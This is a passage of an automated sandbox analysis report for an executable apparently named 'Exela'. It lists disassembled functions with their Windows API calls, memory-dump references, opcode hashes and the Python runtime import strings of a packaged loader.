Function 00007FF75AEAC1A4 Relevance: 3.0, APIs: 2, Instructions: 46COMMONLIBRARYCODE

Download Yara Rule

APIs

SetFilePointerEx.KERNELBASE(?,?,?,?,?,00007FF75AEAC33D), ref: 00007FF75AEAC1F0
GetLastError.KERNEL32(?,?,?,?,?,00007FF75AEAC33D), ref: 00007FF75AEAC1FA

Memory Dump Source

Source File: 0000004C.00000002.2109077931.00007FF75AE91000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF75AE90000, based on PE: true

Associated: 0000004C.00000002.2108988616.00007FF75AE90000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000004C.00000002.2109172912.00007FF75AEBB000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000004C.00000002.2109274929.00007FF75AECE000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000004C.00000002.2109274929.00007FF75AED2000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000004C.00000002.2109451009.00007FF75AED4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_76_2_7ff75ae90000_Exela.jbxd

Similarity

API ID: ErrorFileLastPointer
String ID:
API String ID: 2976181284-0
Opcode ID: fe8bab274ce7bcf2293d1df97f88808174c3604892bb54168c1d2d59b6616a84
Instruction ID: 6d79647a6174d8ed0cfcc5369f20650a4ce3914ca626938b546aec1e19bdeabb
Opcode Fuzzy Hash: fe8bab274ce7bcf2293d1df97f88808174c3604892bb54168c1d2d59b6616a84
Instruction Fuzzy Hash: 2C110461718B6181EA10BB65A809069A361FF81BF4F9C4371EE7D4B7D8CE3CD4018700

Function 00007FF75AEA5994 Relevance: 3.0, APIs: 2, Instructions: 40timeCOMMON

Download Yara Rule

APIs

FileTimeToSystemTime.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF75AEA58A9), ref: 00007FF75AEA59C7
SystemTimeToTzSpecificLocalTime.KERNELBASE(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF75AEA58A9), ref: 00007FF75AEA59DD

Memory Dump Source

Source File: 0000004C.00000002.2109077931.00007FF75AE91000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF75AE90000, based on PE: true

Associated: 0000004C.00000002.2108988616.00007FF75AE90000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000004C.00000002.2109172912.00007FF75AEBB000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000004C.00000002.2109274929.00007FF75AECE000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000004C.00000002.2109274929.00007FF75AED2000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000004C.00000002.2109451009.00007FF75AED4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_76_2_7ff75ae90000_Exela.jbxd

Similarity

API ID: Time$System$FileLocalSpecific
String ID:
API String ID: 1707611234-0
Opcode ID: 3eb82881f56b5e10c0b4ae1229c4961d4f4fc58e8f6ff53d00dfea58f30bf4d5
Instruction ID: b6d72656a81f60ed81c0595009102228537d794fc3ae94f5c70c479b3c85ebab
Opcode Fuzzy Hash: 3eb82881f56b5e10c0b4ae1229c4961d4f4fc58e8f6ff53d00dfea58f30bf4d5
Instruction Fuzzy Hash: 36118F3261C72282FB54BB11A45613AF760FF84761F940275EAAD859E8EF6CD415CB20

Function 00007FF75AEAA9B8 Relevance: 3.0, APIs: 2, Instructions: 19memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

RtlFreeHeap.NTDLL(?,?,?,00007FF75AEB2D92,?,?,?,00007FF75AEB2DCF,?,?,00000000,00007FF75AEB3295,?,?,?,00007FF75AEB31C7), ref: 00007FF75AEAA9CE
GetLastError.KERNEL32(?,?,?,00007FF75AEB2D92,?,?,?,00007FF75AEB2DCF,?,?,00000000,00007FF75AEB3295,?,?,?,00007FF75AEB31C7), ref: 00007FF75AEAA9D8

Memory Dump Source

Source File: 0000004C.00000002.2109077931.00007FF75AE91000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF75AE90000, based on PE: true

Associated: 0000004C.00000002.2108988616.00007FF75AE90000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000004C.00000002.2109172912.00007FF75AEBB000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000004C.00000002.2109274929.00007FF75AECE000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000004C.00000002.2109274929.00007FF75AED2000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000004C.00000002.2109451009.00007FF75AED4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_76_2_7ff75ae90000_Exela.jbxd

Similarity

API ID: ErrorFreeHeapLast
String ID:
API String ID: 485612231-0
Opcode ID: 4768bb9444967098c6ff0662bce39d003f3d6bed11959a3c87c06bce48e858a7
Instruction ID: 3ba9d389facac25f79b385da1513dc1d9f226e2729bddc8d2a4f4d0838436265
Opcode Fuzzy Hash: 4768bb9444967098c6ff0662bce39d003f3d6bed11959a3c87c06bce48e858a7
Instruction Fuzzy Hash: 6EE04F50E0831642FF187BB2A45B13891906F84741B8C81B4C91D462A1DE2C68858220

Function 00007FF75AEAABC8 Relevance: 2.6, APIs: 2, Instructions: 59COMMON

Download Yara Rule

APIs

CloseHandle.KERNELBASE(?,?,?,00007FF75AEAAA45,?,?,00000000,00007FF75AEAAAFA), ref: 00007FF75AEAAC36
GetLastError.KERNEL32(?,?,?,00007FF75AEAAA45,?,?,00000000,00007FF75AEAAAFA), ref: 00007FF75AEAAC40

Memory Dump Source

Source File: 0000004C.00000002.2109077931.00007FF75AE91000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF75AE90000, based on PE: true

Associated: 0000004C.00000002.2108988616.00007FF75AE90000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000004C.00000002.2109172912.00007FF75AEBB000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000004C.00000002.2109274929.00007FF75AECE000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000004C.00000002.2109274929.00007FF75AED2000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000004C.00000002.2109451009.00007FF75AED4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_76_2_7ff75ae90000_Exela.jbxd

Similarity

API ID: CloseErrorHandleLast
String ID:
API String ID: 918212764-0
Opcode ID: 1c4273fb4a414bd16749861b25ace672462e960675883ae7dbf138385109c950
Instruction ID: 477d21ec7612bd668772126a739409cb2da3a58a0e2e06d1601d3fed8709d5b9
Opcode Fuzzy Hash: 1c4273fb4a414bd16749861b25ace672462e960675883ae7dbf138385109c950
Instruction Fuzzy Hash: 3121A821F1C76242FFA47761A45B27D96829F84790FCC42B9EA2E477D1CE6CE4858320

Function 00007FF75AEABF1C Relevance: 1.6, APIs: 1, Instructions: 112COMMONLIBRARYCODE

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF75AEABF44

Memory Dump Source

Source File: 0000004C.00000002.2109077931.00007FF75AE91000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF75AE90000, based on PE: true

Associated: 0000004C.00000002.2108988616.00007FF75AE90000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000004C.00000002.2109172912.00007FF75AEBB000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000004C.00000002.2109274929.00007FF75AECE000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000004C.00000002.2109274929.00007FF75AED2000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000004C.00000002.2109451009.00007FF75AED4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_76_2_7ff75ae90000_Exela.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: 83fd655adac635c1bfef66338e564e5d3c087748e58eff1a34e14c1f5e77bb28
Instruction ID: c1988d28e1002e279d4d484cac0a04103f6ece80cb91bd8ce46e33ab9a492427
Opcode Fuzzy Hash: 83fd655adac635c1bfef66338e564e5d3c087748e58eff1a34e14c1f5e77bb28
Instruction Fuzzy Hash: 8341F532A0821187FA34BB55E55A279F3A0EF55B40F9C4171EA8E87691CF2DE802CB61

Function 00007FF75AE97F80 Relevance: 1.6, APIs: 1, Instructions: 85COMMON

Download Yara Rule

APIs

_fread_nolock.LIBCMT ref: 00007FF75AE9802A

Memory Dump Source

Source File: 0000004C.00000002.2109077931.00007FF75AE91000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF75AE90000, based on PE: true

Associated: 0000004C.00000002.2108988616.00007FF75AE90000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000004C.00000002.2109172912.00007FF75AEBB000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000004C.00000002.2109274929.00007FF75AECE000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000004C.00000002.2109274929.00007FF75AED2000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000004C.00000002.2109451009.00007FF75AED4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_76_2_7ff75ae90000_Exela.jbxd

Similarity

API ID: _fread_nolock
String ID:
API String ID: 840049012-0
Opcode ID: a04a6dff0443a84ee3e7d7b85ba5df040c793d2a730aad3af21426add8a99984
Instruction ID: 0161e380bada3dc8dbcb64a249062d881bad0c31413e3b9cded1b703a1518053
Opcode Fuzzy Hash: a04a6dff0443a84ee3e7d7b85ba5df040c793d2a730aad3af21426add8a99984
Instruction Fuzzy Hash: 97219121B087728AFA10BA126516BFAEA51BF45BD4FCC5470EE4D07786CE7EE041C720

Function 00007FF75AEAB9AC Relevance: 1.6, APIs: 1, Instructions: 79COMMONLIBRARYCODE

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF75AEABA32

Memory Dump Source

Source File: 0000004C.00000002.2109077931.00007FF75AE91000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF75AE90000, based on PE: true

Associated: 0000004C.00000002.2108988616.00007FF75AE90000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000004C.00000002.2109172912.00007FF75AEBB000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000004C.00000002.2109274929.00007FF75AECE000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000004C.00000002.2109274929.00007FF75AED2000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000004C.00000002.2109451009.00007FF75AED4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_76_2_7ff75ae90000_Exela.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: 2d5c35b5412ec9e3d722ee101ab37b91f6ea8aa9dcca92d1d4e84e7f868c2b8f
Instruction ID: 7522892212e0090d612d09d23144962a1362839e067a0f634cb4ac9389392f4a
Opcode Fuzzy Hash: 2d5c35b5412ec9e3d722ee101ab37b91f6ea8aa9dcca92d1d4e84e7f868c2b8f
Instruction Fuzzy Hash: D031BE32A1866286F7517B55984B37CAA60AF40BA4FCA51B5EA2D033D2CF7CE8418731

Function 00007FF75AEA99D1 Relevance: 1.6, APIs: 1, Instructions: 61COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32 ref: 00007FF75AEA99FF

Part of subcall function 00007FF75AEA9AF8: GetModuleHandleExW.KERNEL32 ref: 00007FF75AEA9B1D
Part of subcall function 00007FF75AEA9AF8: GetProcAddress.KERNEL32 ref: 00007FF75AEA9B33
Part of subcall function 00007FF75AEA9AF8: FreeLibrary.KERNEL32 ref: 00007FF75AEA9B5A

Memory Dump Source

Source File: 0000004C.00000002.2109077931.00007FF75AE91000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF75AE90000, based on PE: true

Associated: 0000004C.00000002.2108988616.00007FF75AE90000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000004C.00000002.2109172912.00007FF75AEBB000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000004C.00000002.2109274929.00007FF75AECE000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000004C.00000002.2109274929.00007FF75AED2000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000004C.00000002.2109451009.00007FF75AED4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_76_2_7ff75ae90000_Exela.jbxd

Similarity

API ID: HandleModule$AddressFreeLibraryProc
String ID:
API String ID: 3947729631-0
Opcode ID: c67799cafce48778543f3f8f4be5d8193b6380671b5390c3378b203fc6564281
Instruction ID: e7df6162451b1382e36028372662225ca7eee501c22f31b918b78909dd21ca01
Opcode Fuzzy Hash: c67799cafce48778543f3f8f4be5d8193b6380671b5390c3378b203fc6564281
Instruction Fuzzy Hash: 66218E32A047968AFB24BF64C44A2FC73A0EF44718F88467AD62D06AD5DF38D584C760

Function 00007FF75AEA6004 Relevance: 1.6, APIs: 1, Instructions: 55COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF75AEA5F69

Memory Dump Source

Source File: 0000004C.00000002.2109077931.00007FF75AE91000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF75AE90000, based on PE: true

Associated: 0000004C.00000002.2108988616.00007FF75AE90000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000004C.00000002.2109172912.00007FF75AEBB000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000004C.00000002.2109274929.00007FF75AECE000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000004C.00000002.2109274929.00007FF75AED2000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000004C.00000002.2109451009.00007FF75AED4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_76_2_7ff75ae90000_Exela.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: d0ecc1d4814c8292f6d285d86e9f4332b8d7141ecd04c52723bb65a1ba9d936a
Instruction ID: dfc57e5b18331b03d02219bf6d1de5abfb095ae863bf1f6fff83102600040cec
Opcode Fuzzy Hash: d0ecc1d4814c8292f6d285d86e9f4332b8d7141ecd04c52723bb65a1ba9d936a
Instruction Fuzzy Hash: B4116326A1C66282FA60BF51A40627EE2A4BF45B80FDC40B1FB4C57B96DF3DD5418730

Function 00007FF75AEB63C4 Relevance: 1.6, APIs: 1, Instructions: 54COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF75AEB63E7

Memory Dump Source

Source File: 0000004C.00000002.2109077931.00007FF75AE91000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF75AE90000, based on PE: true

Associated: 0000004C.00000002.2108988616.00007FF75AE90000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000004C.00000002.2109172912.00007FF75AEBB000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000004C.00000002.2109274929.00007FF75AECE000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000004C.00000002.2109274929.00007FF75AED2000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000004C.00000002.2109451009.00007FF75AED4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_76_2_7ff75ae90000_Exela.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: 3ea3ce3b0d542221f39e0ec21b1c29adddc4a64aa4be1ebee55588f6cedcbaa9
Instruction ID: 1436b58a24f9e5537ebd7dd05e69ea6343ea388c359d5b3516914feeb88a895c
Opcode Fuzzy Hash: 3ea3ce3b0d542221f39e0ec21b1c29adddc4a64aa4be1ebee55588f6cedcbaa9
Instruction Fuzzy Hash: 1921B372608B9686E761BF18E446379B6A0FF85B54F984334E79D476D5DF3CD8008B10

Function 00007FF75AEA042C Relevance: 1.5, APIs: 1, Instructions: 48COMMONLIBRARYCODE

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF75AEA0480

Memory Dump Source

Source File: 0000004C.00000002.2109077931.00007FF75AE91000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF75AE90000, based on PE: true

Associated: 0000004C.00000002.2108988616.00007FF75AE90000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000004C.00000002.2109172912.00007FF75AEBB000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000004C.00000002.2109274929.00007FF75AECE000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000004C.00000002.2109274929.00007FF75AED2000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000004C.00000002.2109451009.00007FF75AED4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_76_2_7ff75ae90000_Exela.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: 8e9754deeba93abb4745aa2efb451e77357aefa8fb0fbddb16feb6c8c90fdd62
Instruction ID: 30ad2407d49361679c6fa5feb80e9bad6b5d3437141dd04d202c49cf9c38207d
Opcode Fuzzy Hash: 8e9754deeba93abb4745aa2efb451e77357aefa8fb0fbddb16feb6c8c90fdd62
Instruction Fuzzy Hash: 1101C462A0876241FA05FF529907069E791BF85FE0F8C46B1EE5C17BD6CE3CE5014320

Function 00007FF75AEA7F6C Relevance: 1.5, APIs: 1, Instructions: 43COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF75AEA7FAA

Memory Dump Source

Source File: 0000004C.00000002.2109077931.00007FF75AE91000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF75AE90000, based on PE: true

Associated: 0000004C.00000002.2108988616.00007FF75AE90000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000004C.00000002.2109172912.00007FF75AEBB000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000004C.00000002.2109274929.00007FF75AECE000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000004C.00000002.2109274929.00007FF75AED2000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000004C.00000002.2109451009.00007FF75AED4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_76_2_7ff75ae90000_Exela.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: 6832eb5f98ca96f5e7cd25db8366a3c1a8b2d6b45623d2691d830cdd3d76c9ad
Instruction ID: 843bb7ab68cefad79fa2dfa46c7e5d33109dcae8ab8d6ec7794bdac5aac5c051
Opcode Fuzzy Hash: 6832eb5f98ca96f5e7cd25db8366a3c1a8b2d6b45623d2691d830cdd3d76c9ad
Instruction Fuzzy Hash: 52019E24E0D2B344FEA0BB21654B179E692AF447D0FDC42B9EA1D827C6DF3CA9418231

Function 00007FF75AEA82A8 Relevance: 1.5, APIs: 1, Instructions: 19COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF75AEA82C1

Memory Dump Source

Source File: 0000004C.00000002.2109077931.00007FF75AE91000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF75AE90000, based on PE: true

Associated: 0000004C.00000002.2108988616.00007FF75AE90000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000004C.00000002.2109172912.00007FF75AEBB000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000004C.00000002.2109274929.00007FF75AECE000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000004C.00000002.2109274929.00007FF75AED2000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000004C.00000002.2109451009.00007FF75AED4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_76_2_7ff75ae90000_Exela.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: 3541b91b086c77dfe17527b78ee7977ece0d5fdea915d925a3ffaee66e22a6c2
Instruction ID: dcb3a3c0898009eba09d65c44cca7bff6b55846c50aade6d3e136ea8aa101ce3
Opcode Fuzzy Hash: 3541b91b086c77dfe17527b78ee7977ece0d5fdea915d925a3ffaee66e22a6c2
Instruction Fuzzy Hash: 38E0C2A4E0872383F7503AB8048B17998504F65340FCCA4F0EA09062C3DE2C68588231

Function 00007FF75AEAEC08 Relevance: 1.3, APIs: 1, Instructions: 36memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

HeapAlloc.KERNEL32(?,?,00000000,00007FF75AEAB39A,?,?,?,00007FF75AEA4F81,?,?,?,?,00007FF75AEAA4FA), ref: 00007FF75AEAEC5D

Memory Dump Source

Source File: 0000004C.00000002.2109077931.00007FF75AE91000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF75AE90000, based on PE: true

Associated: 0000004C.00000002.2108988616.00007FF75AE90000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000004C.00000002.2109172912.00007FF75AEBB000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000004C.00000002.2109274929.00007FF75AECE000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000004C.00000002.2109274929.00007FF75AED2000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000004C.00000002.2109451009.00007FF75AED4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_76_2_7ff75ae90000_Exela.jbxd

Similarity

API ID: AllocHeap
String ID:
API String ID: 4292702814-0
Opcode ID: 359dceec71bad03d682dc04f56d48d79ef81111e86adbc932549883800f831e6
Instruction ID: 06fd9e8dec647564c60a7775a400b05f1288136303301470a0a986602ca0cb30
Opcode Fuzzy Hash: 359dceec71bad03d682dc04f56d48d79ef81111e86adbc932549883800f831e6
Instruction Fuzzy Hash: 12F01D54B0937B81FF547A6658AB2B5D2905F84F80FCC65B0C90E863D2DE2CE8818230

Function 00007FF75AEAD66C Relevance: 1.3, APIs: 1, Instructions: 29memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

HeapAlloc.KERNEL32(?,?,?,00007FF75AEA0D00,?,?,?,00007FF75AEA236A,?,?,?,?,?,00007FF75AEA3B59), ref: 00007FF75AEAD6AA

Memory Dump Source

Source File: 0000004C.00000002.2109077931.00007FF75AE91000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF75AE90000, based on PE: true

Associated: 0000004C.00000002.2108988616.00007FF75AE90000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000004C.00000002.2109172912.00007FF75AEBB000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000004C.00000002.2109274929.00007FF75AECE000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000004C.00000002.2109274929.00007FF75AED2000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000004C.00000002.2109451009.00007FF75AED4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_76_2_7ff75ae90000_Exela.jbxd

Similarity

API ID: AllocHeap
String ID:
API String ID: 4292702814-0
Opcode ID: 5ab6faa5eb5c52a79f6ef15f458d67d4847db3a002ac7bba2a3205d093894568
Instruction ID: f1ca97cceb2b0feb5b193fc190cc7dd06fa3024616b0bb6e8c5d08149bd0e355
Opcode Fuzzy Hash: 5ab6faa5eb5c52a79f6ef15f458d67d4847db3a002ac7bba2a3205d093894568
Instruction Fuzzy Hash: 92F05820F0932785FE647761589B3B892904F94BA0F8C43B0DD2E853C2DE2CE8808230

Non-executed Functions

Function 00007FF75AE95820 Relevance: 229.6, APIs: 86, Strings: 45, Instructions: 400libraryloaderCOMMON

Download Yara Rule

APIs

GetProcAddress.KERNEL32(?,00007FF75AE964BF,?,00007FF75AE9336E), ref: 00007FF75AE95830
GetLastError.KERNEL32(?,00007FF75AE964BF,?,00007FF75AE9336E), ref: 00007FF75AE95842
GetProcAddress.KERNEL32(?,00007FF75AE964BF,?,00007FF75AE9336E), ref: 00007FF75AE95879
GetLastError.KERNEL32(?,00007FF75AE964BF,?,00007FF75AE9336E), ref: 00007FF75AE9588B
GetProcAddress.KERNEL32(?,00007FF75AE964BF,?,00007FF75AE9336E), ref: 00007FF75AE958A4
GetLastError.KERNEL32(?,00007FF75AE964BF,?,00007FF75AE9336E), ref: 00007FF75AE958B6
GetProcAddress.KERNEL32(?,00007FF75AE964BF,?,00007FF75AE9336E), ref: 00007FF75AE958CF
GetLastError.KERNEL32(?,00007FF75AE964BF,?,00007FF75AE9336E), ref: 00007FF75AE958E1
GetProcAddress.KERNEL32(?,00007FF75AE964BF,?,00007FF75AE9336E), ref: 00007FF75AE958FD
GetLastError.KERNEL32(?,00007FF75AE964BF,?,00007FF75AE9336E), ref: 00007FF75AE9590F
GetProcAddress.KERNEL32(?,00007FF75AE964BF,?,00007FF75AE9336E), ref: 00007FF75AE9592B
GetLastError.KERNEL32(?,00007FF75AE964BF,?,00007FF75AE9336E), ref: 00007FF75AE9593D
GetProcAddress.KERNEL32(?,00007FF75AE964BF,?,00007FF75AE9336E), ref: 00007FF75AE95959
GetLastError.KERNEL32(?,00007FF75AE964BF,?,00007FF75AE9336E), ref: 00007FF75AE9596B
GetProcAddress.KERNEL32(?,00007FF75AE964BF,?,00007FF75AE9336E), ref: 00007FF75AE95987
GetLastError.KERNEL32(?,00007FF75AE964BF,?,00007FF75AE9336E), ref: 00007FF75AE95999
GetProcAddress.KERNEL32(?,00007FF75AE964BF,?,00007FF75AE9336E), ref: 00007FF75AE959B5
GetLastError.KERNEL32(?,00007FF75AE964BF,?,00007FF75AE9336E), ref: 00007FF75AE959C7

Strings

PyImport_ImportModule, xrefs: 00007FF75AE95C2F, 00007FF75AE95C51
PyConfig_Clear, xrefs: 00007FF75AE9597D, 00007FF75AE9599F
PyConfig_Read, xrefs: 00007FF75AE959D9, 00007FF75AE959FB
Py_ExitStatusException, xrefs: 00007FF75AE9589A, 00007FF75AE958BC
PyEval_EvalCode, xrefs: 00007FF75AE95BA5, 00007FF75AE95BC7
PyErr_Fetch, xrefs: 00007FF75AE95ABF, 00007FF75AE95AE1
PyUnicode_DecodeFSDefault, xrefs: 00007FF75AE95F0F, 00007FF75AE95F31
Py_DecodeLocale, xrefs: 00007FF75AE9586F, 00007FF75AE95891
PyConfig_SetString, xrefs: 00007FF75AE95A35, 00007FF75AE95A57
PyUnicode_Join, xrefs: 00007FF75AE95F99, 00007FF75AE95FBB
PyPreConfig_InitIsolatedConfig, xrefs: 00007FF75AE95DCD, 00007FF75AE95DEF
PyErr_NormalizeException, xrefs: 00007FF75AE95AED, 00007FF75AE95B0F
PyMarshal_ReadObjectFromString, xrefs: 00007FF75AE95C5D, 00007FF75AE95C7F
PyConfig_SetWideStringList, xrefs: 00007FF75AE95A63, 00007FF75AE95A85
PyObject_SetAttrString, xrefs: 00007FF75AE95D71, 00007FF75AE95D93
PySys_GetObject, xrefs: 00007FF75AE95E57, 00007FF75AE95E79
PyErr_Clear, xrefs: 00007FF75AE95A91, 00007FF75AE95AB3
PyErr_Print, xrefs: 00007FF75AE95B49, 00007FF75AE95B6B
Py_PreInitialize, xrefs: 00007FF75AE9594F, 00007FF75AE95971
PySys_SetObject, xrefs: 00007FF75AE95E85, 00007FF75AE95EA7
Py_DecRef, xrefs: 00007FF75AE95826, 00007FF75AE95848
PyUnicode_Decode, xrefs: 00007FF75AE95EE1, 00007FF75AE95F03
PyUnicode_AsUTF8, xrefs: 00007FF75AE95EB3, 00007FF75AE95ED5
PyStatus_Exception, xrefs: 00007FF75AE95E29, 00007FF75AE95E4B
PyObject_GetAttrString, xrefs: 00007FF75AE95D43, 00007FF75AE95D65
PyObject_CallFunction, xrefs: 00007FF75AE95CE7, 00007FF75AE95D09
PyObject_CallFunctionObjArgs, xrefs: 00007FF75AE95D15, 00007FF75AE95D37
PyUnicode_FromFormat, xrefs: 00007FF75AE95F3D, 00007FF75AE95F5F
PyErr_Restore, xrefs: 00007FF75AE95B77, 00007FF75AE95B99
PyObject_Str, xrefs: 00007FF75AE95D9F, 00007FF75AE95DC1
PyMem_RawFree, xrefs: 00007FF75AE95C8B, 00007FF75AE95CAD
Failed to get address for %hs, xrefs: 00007FF75AE95851
PyErr_Occurred, xrefs: 00007FF75AE95B1B, 00007FF75AE95B3D
PyConfig_InitIsolatedConfig, xrefs: 00007FF75AE959AB, 00007FF75AE959CD
Py_InitializeFromConfig, xrefs: 00007FF75AE958F3, 00007FF75AE95915
PyUnicode_Replace, xrefs: 00007FF75AE95FC7, 00007FF75AE95FE9
PyImport_AddModule, xrefs: 00007FF75AE95BD3, 00007FF75AE95BF5
Py_Finalize, xrefs: 00007FF75AE958C5, 00007FF75AE958E7
PyImport_ExecCodeModule, xrefs: 00007FF75AE95C01, 00007FF75AE95C23
PyConfig_SetBytesString, xrefs: 00007FF75AE95A07, 00007FF75AE95A29
Py_IsInitialized, xrefs: 00007FF75AE95921, 00007FF75AE95943
